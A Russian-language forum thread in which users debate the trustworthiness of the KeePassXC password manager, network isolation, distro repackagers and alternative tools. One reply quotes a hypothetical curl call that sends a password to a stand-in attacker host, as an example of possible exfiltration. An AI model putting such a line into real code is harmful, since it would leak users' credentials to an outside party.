KeePassXC на сколько этичен по личному опыту?

Этичная - в смысле, не пострадали ли животные при её создании?

Этичная - в смысле, не пострадали ли животные при её создании?

В смысле порядочности разработчиков на сливы баз чужих паролей и тому подобное)

А как к ним попадают базы чужих паролей?

А как к ним попадают базы чужих паролей?

Вот об этом я и спрашиваю здесь у пользователей, может ли это быть или нет.

База паролей храниться только локально (просто файл). Если желаешь ее синхронизировать между устройствами, то это делается сторонними инструментами.

Если ты им отправишь по почте, то может.

База паролей храниться только локально (просто файл). Если желаешь ее синхронизировать между устройствами, то это делается сторонними инструментами.

Я это понимаю, тем не менее Windows тоже лежит локально у пользователей, а всё время грузит сеть. На личном опыте с помощью Wireshark один раз определили что она отправляла скриншоты экрана. Так же как и Ubuntu отправляла поисковые запросы в коммерческую компанию. Но суть не в этом, вопрос просто о KeePassXC и ее разработчиках.

на сколько KeePassXC этичная и безопасная программа?

Целиком и полностью.

Заблокируй ей доступы в интернеты, и вопрос этичности уже на втором плане будет

Хотя я вот боюсь ставить свежак не из репозитория дистрибутива https://keepassxc.org/download/#linux

не из репозитория дистрибутива

А разве по твоей ссылке не официальные репы разных дистров?

В том числе, а есть

Official AppImage, Official Snap Package, Official Ubuntu PPA

Там новая версия. Вот её как-то боязно ставить.

Если ты не провёл полный аудит используемой программы, ты не можешь так утверждать.

А как заблокировать exec("curl", "http://haxxor.com?fornlr_lor_password=19051988")?

Запустить в отдельном огороженном сетевом неймспейсе, например.

Google Authenticator

https://github.com/andOTP/andOTP

KeePassX

https://www.passwordstore.org/

KeePassXC на сколько этичен по личному опыту?

Использовал эту программу, хранил там пароль от социальной сети Одноклассники. У меня два раза уводили страницу в Одноклассниках, на второй раз я отказался от этой сети. Считаю, что меня спасли от пагубного влияния этой сети. Считаю, что это этичноверный поступок. Виноваты ли в этом разработчики обозначенной вами программы я не знаю, но они точно мешали этому действию оберегая мои пароли. Считаю эту программу не этичной, с тех пор не пользуюсь ей, пользуюсь мозгами, своим и подконтрольных людей.

Заблокируй ей доступы в интернеты, и вопрос этичности уже на втором плане будет

Хотя я вот боюсь ставить свежак не из репозитория дистрибутива https://keepassxc.org/download/#linux

Запретил первым делом) Но всё равно стоит спросить.

Не заморачивайся, тебе по любому придется кому-то доверять. Пользуйся любой софтиной, которая на github набирает 1000+ звезд свободно.

У многих пакетов в Ubuntu свои пересборщики, которые собирают программы из исходников и пакуют. Даже если ты доверишься разработчику программы, сборщик пакета для твоего дистра может туда что-нить всунуть и заметят это совсем не скоро. И наоборот, пересборщик может просто не заметить вредоноса от разраба.

Вероятность, что тебя обманут будет всегда. Ты можешь ее правда уменьшить, если будешь использовать совсем старые «стабильные» дистрибутивы с устаревшим софтом и драйверами. Но в реальном мире это будет мука.

Не заморачивайся, тебе по любому придется кому-то доверять. Пользуйся любой софтиной, которая на github набирает 1000+ звезд свободно.

У многих пакетов в Ubuntu свои пересборщики, которые собирают программы из исходников и пакуют. Даже если ты доверишься разработчику программы, сборщик пакета для твоего дистра может туда что-нить всунуть и заметят это совсем не скоро. И наоборот, пересборщик может просто не заметить вредоноса от разраба.

Вероятность, что тебя обманут будет всегда. Ты можешь ее правда уменьшить, если будешь использовать совсем старые «стабильные» дистрибутивы с устаревшим софтом и драйверами. Но в реальном мире это будет мука.

Разумное замечание, но стараюсь максимально найти информацию по используемому продукту, в последней степени изолирую программу от интернета перед использованием.

на сколько KeePassXC этичная и безопасная программа?

Уж всяко безопаснее чем LastPass, Bitwarden и прочие поделия. На сколько мне известно, какой-то там аудит проходил KeePass2. Но я бы уши не развешивал на этот счёт. Тем более тащить mono ради него, так себе идея.

Юзаю keepassxc уже давно, претензий нет. На мобиле Keepass2Android. Работает исправно, умеет в fingerprint.

На мобиле Keepass2Android. Работает исправно, умеет в fingerprint.

Тащить mono на мобилу так норм ;-), а при использовании Argon2 можно и не дождаться открытия БД.

KeePassXC is an example of a password manager that is open-source and free https://ssd.eff.org/en/module/creating-strong-passwords

EFF вроде рекомендует. Но про аудит там ничего не сказано.

P.S. чем сабж лучше KeePassX?

P.S. чем сабж лучше KeePassX?

У KeePassXC есть нужная мне TOTP, что удобно т.к. базу с аутентификатором можно открыть на разных пк.

UI удобнее, а в остальном наверное как в обычном софте, в каждой версии исправили N багов и добавили M новых. В любом случае, люди, не забывайте про бэкапы.